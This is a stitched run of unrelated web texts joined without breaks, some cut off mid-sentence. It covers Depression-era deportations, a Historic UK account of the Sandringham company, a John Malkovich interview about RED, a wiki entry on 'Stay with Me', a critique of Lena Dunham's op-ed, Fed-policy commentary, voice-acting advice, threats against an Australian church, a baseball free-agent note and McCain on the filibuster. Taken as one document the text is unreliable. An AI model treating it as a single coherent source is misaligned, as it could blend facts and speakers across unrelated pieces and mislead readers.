Jiménez worries that the government will just pour more recession dollars into immigration raids and border enforcement at a time when it can least afford it. It wouldn't be the first time strapped federal budgets have been pressed into similar service: almost half the Mexican population in the U.S. was deported during the Great Depression of the 1930s, more than 400,000 people, often at considerable expense (at the height of the Depression, Los Angeles paid $77,000 for a single batch of 6,024 to be deported to Mexico).
All sides agree they need more research to more precisely tell what is influencing people's decisions to stay or leave. After all, each would-be migrant has his or her unique collection of anxieties and hopes. Some fear detention; some fear unemployment. One thing is clear: for America's illegal immigrants, both outcomes are more likely this year than last.Most of the articles featured on Historic UK have a limited word count in an attempt to capture and retain the readers’ interest and imagination. The following article concerning the Vanished Battalion extends to many times the normal length for reasons which will become obvious on reading.
The Background
The men of E Company had grown up together, playing cricket for the same village team, chasing the same girls and drinking in the same pubs and inns. And now, as members of the 5th Territorial Battalion the Royal Norfolk Regiment, they were about to go to war together.
It was the hot August of 1914 and groups of friends or ‘buddies’ across Britain, team-mates and work colleagues eagerly enlisted to fight the Bosch.
But what the soldiers of E Company had in common was something rather unusual: they all belonged to the staff of the Royal Estate at Sandringham.
The company had been formed in 1908 at the personal request of their employer, King Edward VII. He asked Frank Beck, his land agent to undertake the task. This he did, recruiting more than 100 part-time soldiers or territorials.
As was the custom in the territorial battalions of the day, military rank was dictated by social class. Members of the local gentry like Frank Beck and his two nephews became the officers. The estate’s foremen, butlers, head gamekeepers and head gardeners were the NCOs. The farm labourers, |
the interview, you should watch the trailer for RED because it looks awesome and a lot of fun.
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Here’s the full transcript. Click here to listen to the audio from the interview. Red gets released October 15.
Can you talk a little bit about your character and how much fun you’re having with Bruce [Willis]?
John Malkovich: The character as – all four of us, Bruce and Helen Mirren, Morgan Freeman is a retired CIA assassin and mine’s a kind of survivalist type that lives in a swamp and is a little bit wacked and it’s really been fun. I’ve loved it. Like, the cast, the actors, very much get along with the director and the cinematographer, whose father I’ve worked with for a couple of times. I’ve known her since she was quite young.
Was this the first time you and Bruce had met before?
Malkovich: We’d met a couple of times over the years, but never worked together before. We sort of started out about exactly the same time in New York in the early ‘80s, so I met him once or twice then and a couple times passing through.
We were told this is kind of a buddy/road movie. Was there any male bonding while you prepared?
Malkovich: There was a lot of drinking. (laughs) But I’m not in the starting five of that group…
With Jonah Hex and almost doing Spider-Man 4, have you been consciously selecting more action-oriented material?
Malkovich: No, that’s the way they’ve come in. I’ve done a couple of fashion lines and an opera in Vienna, directing a play in Mexico, and then we’re producing a movie that starts shooting in then days in SoHo.
Can you say what the movie is?
Malkovich: It’s called Jeff Who Lives at Home.
How’d you get involved with that?
Malkovich: Through our production company, Mr. Mudd, and it’s something that Jason Reitman developed. We did Juno with him and he asked us to produce it with his company.
I’m curious about the medallion you’re wearing—
Malkovich: Yes, so I am. (laughs)
Can you tell people what they are and what is the motivation for having them?
Malkovich: This is Mexican Olympics. I thought maybe Marvin could have done some event there but I’m not really sure what, and this one is Russian.
Does your character get a lot of backstory in the film?
Malkovich: They don’t any of them has tons of back-story in the film, except for Bruce’s character. Frank’s a little more but not sort of scads about his past life.
Can you talk about the pig? The little stuffed animal you have with you?
Malkovich: I’m not really clear why it’s a pig and as opposed to like a duffle bag. He carries weapons in it and at some point, when they find out that they’re being followed — that they are targets for something that happened many, many years ago — my character says, “I’m gettin’ the pig.” I’m not really sure why, but that’s a really good idea. A sort of call to arms.
How much was added to the character after you came on?
Malkovich: Anybody doing something brings something to it. It’s not for me to say if it’s “growth”. Just by the nature of everyone has a different take on the material. Some people would…we’ve all done films where you have major questions about the material or perhaps about the structure or about how that character is manifested within a structure. Or how that character…or the dialogue used. But this, I really haven’t changed much of anything, unless I was asked to. This is the script I pretty much got verbatim, for me.
Have you read the comic book?
Malkovich: I’ve looked at it. But no, I’ve just looked at the script.
What did you think of your character?
Malkovich: I thought my character was pretty clear in the script. Maybe sort of…where was he from originally? I maybe had a slightly different first impression from the script.
We’re all looking forward to seeing Helen Mirren fire very large guns…
Malkovich: As opposed to having them. (laughs) Yeah, no kidding that kind of touches all the bases.
Were you on set for any of that stuff and can you talk about working with Helen?
Malkovich: She’s fantastic Helen, very pro, very funny, a lot of fun to be around. I mean she probably secretly enjoyed squeezing off a few rounds. (laughs)
If most of your action work with weapons or have you had much hand to hand combat training? Do you have any personal fight scenes yourself?
Malkovich: No, not really. It’s mostly with weapons.
Your character apparently had some LSD experiments done on him. Did you do any research into your role with LSD?
Malkovich: I was around in those days, but no. Every kid on the floor of my dorm did. I was never much of a drug-taker.
Can you talk about how you got involved with clothing and designing?
Malkovich: Well, I design costumes because I started with the theater in Chicago, but somehow a few lines just sort of fell to me to do it. And I studied it in school and I always liked it. Around 2001, and Italian man asked me to do a line and I did that for five years and stopped it for the old artistic differences. Then some other Italians asked me to start again a year, year and a half ago.
Can you talk about the scene you were shooting earlier today?
Malkovich: In the script, there’s a New York Times reporter who’s been killed and I get a list of names that she had and they’re trying to ascertain what the link between Frank and Marvin, who are the only two people in our group who are on the list, while the other people have been killed. So we go to meet this air cargo pilot, who’s on the list and I think at that point is the only other one still alive. I’d seen this woman at the bus station, who’s firing at us. I tell Frank “I’m gonna blow her head off!” and she says that she’s working for Coldwell Banker and has nothing to do with it and here she shows up a little bit later with the whole RPG thing.
In this film you’re making a lot of statements like “They’re watching us,” or “That helicopter is following us,” and everyone thinks you’re crazy and perhaps towards the end you’re redeemed.
Malkovich: Sometimes it happens quite quickly. He’s a little bit wacked out, but often correct about his peers, and his statements often prove accurate.
And why don’t the other people take you seriously when you say stuff like someone’s following you.
Malkovich: Because he carries a pig around and lives in a car. (laughs)
What was your reaction to the car, because we’ve heard a lot about the design.
Malkovich: It’s fantastic. Weapons and cans of beans? What else do you need?
Your character is kind of paranoid, a conspiracy theorist. Do you believe in conspiracy theories?
Malkovich: Not so much. I have never met that many people so clever as to be able to pull off all the conspiracies in the world. I think the world is a lot more chaotic than that. More accidental.
As a kid did you always want to be an actor or did you want to be a CIA operative?
Malkovich: No, neither. It never occurred to me to be an actor.
What did you want to be when you were kid?
Malkovich: I was pretty heavy, so I guess I could’ve done well in those eating contests. (laughs)
You let go of that dream?
Malkovich: Yes. But I probably would’ve wanted to have been a baseball pitcher or a football player.
Were you given a lot of creative freedom with your lines?
Malkovich: I don’t think Robert would mind so much. But I like the script. Unless there were changes that call for different phraseology or different dialogue entirely, I didn’t really see the need. I like the way it is.
I’m a big fan of Michael Bay and he’s announced that you’re in Transformers 3. How did you get involved with that?
Malkovich: I spoke with him last week. Lorenzo and Mark at Summit are producing. They approached me about it. I’d seen the first one, which I liked and thought it was funny. I like working with them very much. They’re very good producers, they’re very hands-on, always around, really get their hands dirty which is not so normal.
Are you into popcorn movies?
Malkovich: Sure. I was never a fanatical movie person. There are many popular films I absolutely love like anyone else. Having said that, I don’t have time to go to the movies very much. I work a lot of different things, I’m always busy. But I’m always happy to see a popular movie.
Were you disappointed about the Spider-Man thing?
Malkovich: Yes, because I like Sam and I like Tobey and all that stuff and the producers — two of whom who I’ve met before — and because I’d been offered the first one. I came to like them all.
Was the part for the Vulture?
Malkovich: Yes. But I think a lot of the people who follow that genre…I’m not sure, I never really spoke with Sam about this, I’m not sure if they made him…if the fanboy base approved of that character as an adversary for him to some extent, or maybe the studio, or maybe that was totally unrelated as to why it fell apart.
I can tell you from the fan perspective from people online they were very excited to see you joining the franchise and play the Vulture.
MALKOVICH: I heard various things about it. Yeahm it was a drag ‘cuz I like Sam, and he’s offered me a couple things and it hasn’t worked out.
You mentioned Vienna. Can you talk about working there and what you love about that city?
Malkovich: Well, I’ve only worked there twice. Once for a rather long period and one not so long. But this is an opera that I do with the Viennese, baroque orchestra conductor and a very bright, very gifted Viennese opera director who has also directed movies, et cetera, but has a fantastic background in the classical music. We do a piece together which we played in Vienna last summer, which went very well, and then hooked up to tour a lot in Europe this summer, kind of everywhere for a month and a half or so. In Vienna, I like very much. I was always attracted to it a lot as a kid. I don’t know why, because I don’t have Austrian blood or any kind of personal history there, but I think because I was always really interested in what happened there near the end of the 19th and in early 20th centuries, so much of what we consider the modern world sort of came from there. From painting to music to psychiatry to great essays by people like Karl Kraus, playwrights et cetera. And I’d been many times but always loved it, it’s very beautiful, and always something interesting to see, even the design, the arts and crafts, the architecture, et cetera. It always appealed to me.
We spoke to Karl Urban about the weapons training and how in your down time they would go to the shooting range. Did you participate in any of that?
Malkovich: No, my son, I have an 18 year old, and he kept menacing me to come, so I was always waiting for him. I haven’t shot a lot of guns in my life.
Is that something you look forward to: like violence in films?
Malkovich: No, not particularly, but you know, “Shoot ‘em up” is a part of movies. I don’t have anything against it, but I’ve never owned a gun, and I don’t particularly plan on taking any pot shots at anyone in the near future. And they’re all difference so even if you’ve shot an AK before, there’s Egyptian, there’s Russian, there’s Bulgarian, there’s Romanian, and they’re all slightly different. So you always have to practice loading and unloading, cleaning the chamber, et cetera, et cetera.
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For more Red coverage:
Bruce Willis On Set Interview RED
Mary-Louise Parker On Set Interview RED
Karl Urban On Set Interview REDBackground Edit
Agreement with Tom Petty and Jeff Lynne Edit
In January 2015, it was revealed that a settlement had been reached with Tom Petty's publishing company to add Petty and Jeff Lynne as co-writers, and that they would receive a 12.5% songwriting credit. Petty's publisher contacted Smith's team after it noticed a likeness between "Stay with Me" and the melody of Petty's 1989 song "I Won't Back Down".[10] Petty clarified that he did not believe Smith plagiarized him, saying "All my years of songwriting have shown me these things can happen. Most times you catch it before it gets out the studio door but in this case it got by. Sam's people were very understanding of our predicament and we easily came to an agreement".[11] According to Smith, he had never heard "I Won't Back Down" before he wrote "Stay with Me",[12][13] but he acknowledged the similarity after listening to the song, and said that the likeness was "a complete coincidence".[14][15] Petty and Lynne, however, were not eligible for a Grammy as the Recording Academy considered "Stay with Me" to have been interpolated from "I Won't Back Down" by Napier, Phillips and Smith; instead Petty and Lynne would be given certificates to honor their contribution to the work, as is usual for writers of sampled or interpolated work.[16]
Composition Edit
"Stay with Me" A 17-second sample of "Stay with Me" by Sam Smith, where the chorus is heard. Problems playing this file? See media help. "Stay with Me" was written by Smith, James Napier, William Phillips, with additional credits to Tom Petty and Jeff Lynne. According to the sheet music published at Musicnotes.com by Sony/ATV Music Publishing, the song is set in the key of C major in common time with a tempo of 84 beats per minute. Smith's vocals span two octaves from E 3 to E 5 while the song follows a chord progression of Am 7 –F–C.[17] According to Erine Keane of Salon, "Stay with Me" combines a "contemporary drumbeat", blue-eyed soul singing, and a refrain sung in a gospel style,[18] while Stereogum's Tom Breihan called it "a soft-focus piano-soul ballad".[19]
Critical reception Edit
"Stay with Me" received generally positive reviews from music critics. Amy Davidson from Digital Spy called the song an "emotional crescendo" and said the chorus was "slightly over-sentimental" and felt that his "soulful voice" made the singer left in "defeat by fleeting fling". She gave the song four out of five stars.[20] Joe Gross from Rolling Stone gave the song a mixed review, awarding it three of five stars.[21] Isabel Pearson of Nouse gave the song a positive review during her album review, calling the song a "euphoric, slow building love-song that’s raw and undeniably one of the best tracks on this album."[22] Sarah Milton of The Upcoming lauded the song, calling it "electrifying with its blunt honesty and exquisite gospel influence."[23] In July 2014, Billboard listed "Stay with Me" as one of the "10 Best Songs of 2014 (so far)" saying that the song is "a fragile ballad that finds its backbone when a gospel choir assists the British singer on the harrowing chorus."[24] Variance Magazine named the song its 2014 Song of Summer.[25] The song was placed at number twelve on Rolling Stone's 50 Best Songs of 2014 list.[26] In January 2015, "Stay with Me" was ranked at number 15 on The Village Voice's annual year-end Pazz & Jop critics' poll.
Commercial performance Edit
In the UK Singles Chart it debuted at number 1, making it Smith's third number one. The song became the eighth best-selling song of 2014 in the UK,[27] and the seventh overall when streaming is included.[28] On the Billboard Hot 100, the song peaked at number 2 for two weeks, making it Smith's first top ten song in the US as a lead artist and his highest charting single to date. It was held off from the top spot by MAGIC!'s "Rude." As of the week of 2 May 2015, "Stay with Me" has spent 21 weeks in the top ten and 54 weeks on the Hot 100. The song was the tenth best-selling song of 2014 in the United States with 3.34 million copies sold in that year.[29] As of June 2015, The song has sold 4.1 million copies in the US.[30] In Canada, "Stay with Me" topped the Canadian Hot 100 for seven consecutive weeks. In Australia, the song debuted at number 22 on the ARIA Singles Chart on the chart dated 5 May 2014 and later peaked at number 5 on the chart date 16 June 2014.[31] The song also reached top 10 status in over twelve countries worldwide, becoming Smith's most successful single to date.
Music video Edit
A music video to accompany the release of "Stay with Me" was first released onto YouTube on 27 March 2014 at a total length of three minutes and twenty-nine seconds.[32] The video shows Smith coming out of a house and walking down a street in De Beauvoir Town, London, sitting in a room performing the song, and performing the song in a church with a choir. It was directed by Jamie Thraves.[33] "Stay with Me" received nominations at the MTV Video Music Awards for Best Male Video and Artist to Watch.[34]
Cover versions Edit
Live performances Edit
Media usage Edit
Formats and track listings Edit
CD single "Stay with Me" – 2:52 "Stay with Me" (Radio Mix) – 2:53 Digital download (Darkchild Version)[49] "Stay with Me" (Darkchild Version) featuring Mary J. Blige – 2:53 "Stay with Me" (Darkchild Version) – 2:54 Digital download (EP)[50] "Stay with Me"(Soul Clap Mix) – 5:02 "Stay with Me" (Darkchild Version) – 2:54 "Stay with Me" (Shy FX Remix) – 3:32 "Stay with Me" (Wilfred Giroux Remix) – 4:39 Rainer + Grimm Remix single "Stay with Me" (Rainer + Grimm Remix) – 3:34
Charts Edit
Certifications and sales Edit
Release history Edit
See also EditIn an op-ed in the New York Times, actress Lena Dunham says President Donald Trump’s draft of a plan to roll back Obamacare’s contraception mandate will be “disastrous” for some women, “jeopardizing their ability to work and provide for their families.”
Amid a detailed description of her own gynecological problems – i.e., “between 1998 and last week, I’ve been to the emergency room over 50 times with endometriosis-related pain” – Dunham criticizes any change that would allow some religious employers – such as the Little Sisters of the Poor – the freedom not to provide contraception, abortion-inducing drugs, and sterilization procedures for employees through health insurance plans because of their faith beliefs.
She asserts more women are being prescribed birth control pills for a variety of medical problems than for contraception.
“Birth control pills are many women’s method of choice for preventing unintended pregnancy and should be covered by all insurance policies for that reason alone,” she writes, but then adds that “millions of women living with endometriosis, polycystic ovarian syndrome, cystic acne, migraines, uterine abnormalities and a history of ectopic pregnancies, birth control can be a crucial, even lifesaving, medical treatment.”
She continues:
If the Trump administration and Republicans in Congress succeed in stripping funding from Planned Parenthood and giving employers carte blanche to deny women necessary medication under murky notions of moral disdain, all paths to health and wellness will disappear for a huge swath of Americans.
While the teachings of the Catholic Church, for example, are in conflict with the use of artificial birth control, the United States Conference of Catholic Bishops states, “Catholic teaching does not oppose the use of hormonal medications – such as those found in chemical contraceptives – for legitimate medical purposes, provided there is no contraceptive intent.”
The bishops continue, however:
But artificial hormones typically treat only the medical symptoms. They do not correct the underlying disease or condition. They also carry the same physical health risks as hormonal contraceptives. Thankfully, with growing advancements in understanding fertility, knowledgeable gynecologists can often prescribe non-contraceptive drugs and recommend safer and healthier treatments to correct underlying problems or eliminate discomfort.
Like many on the left, Dunham is propping up Planned Parenthood, whose days of being on the receiving end of taxpayer dollars may be numbered. Trump has said he will defund Planned Parenthood if the organization continues to perform abortions.
The group, however, showed, in its latest annual report, that it is performing even more abortions and providing less contraception services — all while its taxpayer funding has increased.
In 2015-2016, Planned Parenthood reports performing 328,348 abortions – an increase of 4,349 abortions over the 323,999 abortions the group states it performed in 2014-2015. The organization also reported 2,945,059 contraception services in 2014-2015, and 2,808,815 of the same services in its latest report, a drop of 136,244 within a year.
With regard to its revenue, the new report shows Planned Parenthood’s total revenue to be $1,354.3 million, an increase over the $1,296.1 million reported in 2014-2015. The organization shows an increase in government reimbursement and grants this year, reporting $554.6 million in taxpayer funding, while in 2014-2015 it reported $553.7 million.
Planned Parenthood reported an “Excess in Revenue Over Expenses” of $58.8 million in 2014-2015. That amount rose to $77.5 million this past year.
The fact is, until former Secretary of Health and Human Services Kathleen Sebelius bureaucratically inserted the HHS mandate into Obamacare, employers were never entangled in their employees’ sex lives and decisions as to when to have a child. Once she did, and faith-based groups objected, bosses became an easy target for radical feminists.
Many women in Congress are supporting the draft of the HHS contraception mandate rollback.
“Obamacare has devastated religious organizations, schools, and businesses, forcing them to cover abortion-related services that violate their religious beliefs,” says Rep. Diane Black (R-TN), adding:
Protecting religious liberty is a foundational principle of this country, and this draft rule is a victory against President Obama’s assault on people of faith nationwide. Americans will no longer have to seek a burdensome exemption from the heavy hand of government, they will be left alone to practice their religion as they choose.
Rep. Vicky Hartzler (R-MO) says the draft “provides important exemptions for organizations with religious or moral objections to the HHS mandate.”
“In other words, religious charities like the Little Sisters of the Poor, faith-based universities, family-owned businesses, and individuals with moral objections will now be able to provide employees with health care policies consistent with their conscience and the organizations’ mission,” she continued. “The previous administration’s heavy-handed approach went out of its way to force a mandate that violates the faith and ethical sensibilities of the American public.”A must read summary from Scotiabank's Guy Haselmann
Summary of Current Situation
After 5 years of zero interest rates, negative real yields, trillion dollar annual fiscal deficits, trillions of dollars of asset purchases by the Fed, and hundreds of stimulus measures by foreign central banks, the global economy just limps along. It is counter-factual to know what the state of the global economy would be without these measures, but isn’t there a point when the actual benefits of doing ever-more is questioned? As Einstein said, “Insanity is doing the same thing over and over again and expecting different results”.
Let’s assume for the moment that after the Fed cut rates to zero and established various liquidity facilities that QE1 and QE2 were still necessary to stabilize markets (QE1) and then to combat deflation (QE2). It could be argued that after those actions, the Fed could have refrained from beginning the open-ended asset purchase program without causing any adverse market reaction.
When QE-infinity began, inflation was stable, equities were higher by over 15% (70% above 2009 lows), and the unemployment rate had moved in the right direction from 10%+ to 8.2%. The Fed was already so highly-accommodative that staying put may not have been criticized, especially after the extraordinary actions it had taken. Furthermore, at the time, the Fed was just starting to be accused of complicating its exit strategy and enabling fiscal polarization.
Doesn’t the Fed’s continued expansion of its balance sheet risk doing too much? History is full of Fed-induced boom to bust cycles. Once signs of asset bubbles or inflation appear, it is often too late. The US economy is like an oil tanker where it takes over 5 miles to stop and requires a turning circle of over 2 miles. Therefore, the idea of micro-managing via “data dependency”, or via Rosengren’s “dimmer switch” analogy, makes little sense to me. Moreover, investors are now unproductively hyper-sensitive to each economic data point.
Policy today may not fully filter into the broader economy until 12 to 18 months from now. The overly easy policy of Arthur Burns (‘70s) never successfully lowered the unemployment rate, but instead caused destructive inflation that was only contained a decade later, after the harsh medicine of Paul Volcker.
As the Fed begins the ‘tapering’ process, investors may soon be able to discern whether or not its policies have been beneficial for the long run, or whether little has been achieved other than a temporary turbo-charging of asset prices. Unintended consequence and ‘collateral damage’ may begin to appear. It seems that should another financial crisis arise, the ability for governments to respond is compromised, as the easy bullets have been expended.
Many of the factors that led to the 2008 economic crises – high debt levels, global imbalances, unfinanced social entitlements – are at even higher levels today. Economies are still too reliant on debt-driven consumption. Reductions in household debt levels have been replaced by public sector borrowing. Banks deemed too-big-to-fail are now even bigger. Speculation in financial assets has reached new highs. NYSE Margin Debt is at an all-time high level.
Policy officials believe that growth and inflation would fix the problem of large debts, but growth fueled by public spending that is financed by debt or central banks is not sustainable. Like most Ponzi schemes, it doesn’t end well. Reducing total debt was always a better solution, but it would have resulted in even slower economic activity and lower living standards. However, in the long run, the system would have been purged of unsustainable excesses.
‘Short term pain’ for ‘long term gain’ is often shunned for fear of electoral defeat and lobby group pressure. Now, we are stuck with financial repression. Investment is being directed toward funding the public sector. Policy rewards debtors over creditors. Such policy cannot go on forever. In reality, “unlimited” rarely means unlimited, because imbalances become too great. The Fed’s current quagmire has aspects resembling the Triffin Dilemma.
The recent adverse spillover from Fed policies in emerging market economies and currencies may be the first hint of cracks in the global monetary system. At a minimum, foreign central banks have deviated from good policy in order to prevent sharp destabilizing fluctuations in the value of their currencies and to arrest volatile inflows and outflows of capital.
Time to buy vol and replace some financial assets with real assets.
“And if you go, no one may follow. That path is for your steps alone.” - The Grateful DeadVOICE ACTING
Audition Strategy: When Opportunity
Arises, Let Your Voice Come Out To Play
June 10, 2015
By Dan Hurst By Dan Hurst
Voice Actor
Voice talents often struggle with how free they should get with an audition.
On the other hand, clients want their copy to come alive, but they are cautious about how far to let the talent stray, and rightly so.
Where and how do you draw the line?
I have a client who will send me copy and some explanation of what they are trying to accomplish with the spot they want me to voice. Occasionally this client will suggest the style that they were thinking about when they wrote it. But each time she ends her instructions with, "Please play with it.
Very early when I started working for them, I asked if they wanted me to submit a take where I played a bit with the copy. There was a long pause, then she answered, "Well, no ones ever asked that before. Sure, go ahead. We probably wont use it but knock yourself out.
Well, you know how the story ends. The client went with the delivery I played with.
BREAK THE MOLD...
It doesnt happen every time, but a huge part of the time the client will hear that more casual read with a slight ad-lib or fresh interpretation thrown in and love it.
Why?
Im convinced that one of the main reasons is that theyve heard the submitted copy so many times, and debated it so many times, and heard so many people read it the same way over and over, that when something comes across that breaks the mold or the rhythm, their ears perk up and they hear their copy in a fresh and invigorating way.
And that is exactly what they want their customers to hear!
MY AUDITION APPROACH
I have a new approach to submitting VO takes to clients, whether as projects or as auditions: to get my clients to expect something they dont expect.
Its not always possible. Sometimes the copy just doesn't lend itself to that. Sometimes the directions are very clear otherwise. But when the opportunity is there, take that shot. Surprise your client. Surprise yourself!
Here are some ways to do that:
1. Focus on the words of contrast, and let them do what they are supposed to do.
By contrast, I mean the words that make the copy come to life. Not by volume, but by interpretation - although occasionally that may require a change in volume. Show some love to descriptive words, such as verbs and adjectives, without selling or distracting.
2. Watch the rhythm and musicality of your delivery.
Its real easy to get into a pattern of "rhythmic phrasing, especially when reading out loud.
Heres a great little experiment. While listening to something that youve read and recorded, draw your voice pattern on a sheet of paper. If you see the same or similar pattern repeating itself, you need to work on your delivery!
The most common pattern is one that starts high and ends low. If you were to draw it, it would look something like this:
3. Be careful of "news reads.
Youll notice that most newscasters on TV and radio have a very specific lilt and volume to their delivery. Its a very precise, mechanical, and consistent pattern that comes from reading news story after news story after news story.
It works fine for news, but it is almost never what the creative agency wants. They want a more natural and conversational delivery. It includes less projection and a greater connection with the copy and the targeted audience.
4. When it comes to the audition copy, forget about the time.
Seriously.
Now, sometimes the client will want to see if the copy fits the time. Fine, give them that, but make your money audition one that generally disregards time and focuses on the story. If you get the job, then you can focus on the timing.
5. If youre stuck trying to find a creative interpretation, here are a few suggestions to get the juices flowing:
If it is for a commercial, read it backwards, sentence by sentence. Why? Usually the ending of the commercial is extremely important. That is where the slogan or tag is. Often, that is where you find the final urgent call to action. Many times that is the resolution of the copy. Reading the spot backwards, sentence by sentence, will help you understand the structure of the whole spot. Record it and listen back to each sentence. Ill bet you will have found one of the best ways to deliver that particular sentence in the correct order of the spot. Go through and highlight the words you should show a little love to. Not necessarily the action or power words. Try the adjectives and adverbs and see what happens. Study each sentence and then say it without looking at the copy, pretending you are saying it to a listener that you visualize. Then edit those sentences together. Try a different awkward posture. Perhaps standing on one foot, or arms straight up over your head. Be inventive. What that helps do is cause a slight distraction that gets you out of your way. Whether the project is for video or not, visualize what it should or could look like. Study the copy to see if there is any unusual way that it can be interpreted. Become a character or alter-ego that delivers the copy. Read each line as fast as possible, then as slow as possible, and then finally, at the speed you feel to be natural. Make sure youre recording. You might discover a very fresh, compelling delivery. 6. After youve recorded the audition, listen to it a few times with a very critical ear, and ask yourself the following questions:
Is this a different delivery than what everyone else is submitting?
Am I bringing anything fresh to this interpretation?
Do I really understand what the copywriter intended?
Am I believable and connected with the listener? AVOID DEFAULT MODE
Its real easy for voice talents to fall into a "default mode and sound like every one else. Its safe. Its convenient.
Its also lazy. And it wont get you hired. Why even waste your time? Why waste the clients time?
Playing with the copy - unless the client doesnt want that - will do a number of things if done right. It will get you out of a rut. It will brand you as creative; a risk taker. It will get the producers attention, which is especially important if there are a lot of people auditioning for the project.
And most importantly, it will help you connect with the copy and the listener.
A SESSION'S LESSON
One of my favorite lessons I learned about this was from one of several opportunities I had to work with the late T. Max Graham.
A recording session with him was a crazy lesson in creativity and humor. T. Max had a knack for finding and interpreting little nuances in copy that made it come alive in a way none of the rest of us had seen.
In this one particular VO session, he played a customer looking for something at a hardware store. I was the store manager.
His first line was "Uh I need a nail.
As the store manager, it was my job to find out what kind of nail, what he was going to use it for, etc. But T. Max never got past that first line. He just kept repeating it different ways as an answer to each question that I asked. By the time we got to the AVO line at the end, we were howling!
The client, who had tears from laughing so hard said, "We gotta go with that!
I have a client who will often ask me to submit an audition for a new project. Sometimes hell close the conversation with, "If itll make me smile, itll be worth your while.
I love that! Its an invitation to play!
---------------
ABOUT DAN
Dan (Daniel Eduardo) Hurst is an experienced bilingual (English and Spanish) voice talent operating out of the Kansas City area. His business now extends internationally, with clients including Maserati, Boehringer Ingelheim, British Petroleum, Kimberly-Clark, McDonalds, Volkswagen, Telemundo International, Shell, Hallmark, TransCanada, Walmart and many more. When hes not working, he spends his time cheering for losing sports teams and getting kicked off of golf courses.
Web: Email: danhurst@danhurst.com Web: www.DanHurst.com
Your Daily Resource For Voice-Over Success Follow News & FeaturesAn evangelical church in Australia has been threatened with an oil fire for displaying a billboard message declaring that God created marriage between one man and one woman.
"On Facebook, a lot of the stuff has been quite vicious at times," John Gill, senior pastor at Bellbowrie Community Church in Brisbane, told Daily Mail Australia. "I mean quite physically threatening. That's been scary for some in the church."
"One of the comments, for example, was a suggestion that people bring petrol down and set the church on fire," Gill added chillingly. The pastor said that his church has 150 parishioners, and these responses have come after Bellbowrie Community Church put up a billboard defining marriage as between one man and one woman.
In an interesting twist, the person who shared a photo of the billboard on Facebook just happened to be an opponent of the message. Patrick Wood posted photos of either side of the billboard, with the message, "Their house, their hypocritical rules. Same sign, same day, opposite sides. I won't forget their Marriage Equality stance."
"God designed marriage between a man and a woman," read the billboard. This was a direct reference to multiple scripture verses. Genesis 2:24 clearly states that "a man shall leave his father and his mother, and be joined to his wife; and they shall become one flesh." Jesus quotes this passage, endorsing the Genesis view of marriage.
On the other side, the sign read, "All people are respected and welcome here."
While Wood and others interpret the definition of marriage as between one man and one woman to be exclusionary, meaning that LGBT people are not welcome, the one message is not incompatible with |
results. Iwakuma posted a 3.36 SIERA last year and carries a 3.33 mark over his four seasons. In addition to a sparkling 16.2% K-BB%, Iwakuma has induced groundballs on just over half of the occasions that a batter has put one of his pitches in play.
Never reliant on velocity, Iwakuma has experienced only a slow drop in fastball velocity. Last year, he averaged 88.9 mph on his fastball, down from the 90.3 he maintained back in 2012.
It is worth noting, though, that Iwakuma missed starts in each of the last two seasons. He was sidelined for about a dozen outings last year, though he obviously ended the year producing solid results from the rotation. Iwakuma has also been somewhat susceptible to the long ball, allowing a 13.8% HR/FB rate and 1.10 home runs per nine over his career.
In rating Iwakuma the 25th-best free agent available, MLBTR’s Tim Dierkes predicted that he’d be able to find three years and $45MM on the open market. Aside from age, the major factor weighing down the righty’s value is the fact that a signing team will be required to part with a draft pick.
It’s easy to see why the Dodgers would be interested in the veteran. Paying a hefty average annual value won’t stress the club’s payroll much (if at all), but by adding an older player the club would be able to avoid a lengthy entanglement. Los Angeles had, of course, reportedly pursued several other high-profile pitchers only to fall short in the bidding.
Photo courtesy of USA Today Sports Images.Sen. John McCain, R-Ariz., bemoaned the state of the Senate on Thursday as Majority Leader Mitch McConnell moved to change the chamber’s rules in order to break through the Democratic filibuster of Supreme Court nominee Neil Gorsuch with a simple majority. Earlier in the day, Republicans failed to reach the 60-vote supermajority needed to end debate and proceed to a vote.
“It’s a bad day for democracy,” McCain said before entering the Senate chamber, where he later voted with fellow Republicans to change the rules. “I think it’s a terrible mistake that we will regret for many, many years to come.”
McCain called the rule-change a “slippery slope” that “will clearly lead to more extreme appointments for both sides” — and could embolden senators to change the rules for considering legislation, too.
“We went from judges, to [a] Supreme Court justice,” McCain said. “What’s next?”
McConnell has said he would not change the Senate rules for legislation.
Related: Republicans nuke Supreme Court filibuster to squeeze through Gorsuch
“There’s not a single senator in the majority who thinks we ought to change the legislative filibuster, not one,” he told reporters Tuesday. “We all understand that’s what makes the Senate the Senate.”
McConnell triggered the change after Democrats successfully blocked Gorsuch’s nomination in a 55-45 vote Thursday, with just four Democrats voting to advance him.
In 2012, the Kentucky lawmaker called the 60-vote threshold “one of the most cherished safeguards of liberty in our government — the right of a political minority to have a voice.”
But earlier this week, McConnell defended the idea of a simple majority, saying it would return “what was the tradition in the Senate” for confirming justices viewed as qualified for the high court.
“Look at the Senate through the long history of the body,” McConnell said. “The practical effect of all this will be to take us back to where we were.”
McCain speaks to reporters after the Senate voted to remove the filibuster rule for Supreme Court nominees on Thursday. (Joshua Roberts/Reuters) More
McCain did not mince words on Tuesday when asked to respond to the idea that changing the rules for Gorsuch was a good thing.
“I would like to meet that idiot, I’d like to meet the numskull that would say that,” McCain said then. “Whoever says that is a stupid idiot, who has not been here and seen what I’ve been through and how we were able to avoid that on several occasions. And they are stupid and they’ve deceived their voters because they are so stupid.”
Speaking on the Senate floor Wednesday, McCain said that the rule change would come back to “haunt us” like he says it did for Democrats, who in 2013 killed the filibuster for lower court nominations.
Also read: America is not mourning the death of the filibuster, but it should
“We warned that the Democrats would not be in control of the White House or Senate forever, and would come to regret their actions, and we were right,” he said.
But in the end, McCain said he had “no choice” but to support McConnell’s rule change.
“I find myself torn between protecting the traditions and practices of the Senate and the importance of having a full complement of justices on the Supreme Court,” he said. “I’m left with no choice. I will vote to change the rules an allow Judge Gorsuch to be confirmed by a simple majority.”
The dark deed is done. McConnell has just put a knife into the heart of our We the People republic. — Senator Jeff Merkley (@SenJeffMerkley) April 6, 2017
Senate Democrats derided the rule change.
“The dark deed is done,” Sen. Jeff Merkley, D-Ore., who earlier this week mounted a 15-hour protest over Gorsuch, wrote on Twitter. “McConnell has just put a knife into the heart of our We the People republic.”
Read more from Yahoo News:Photo shows single-engine plane down on golf course
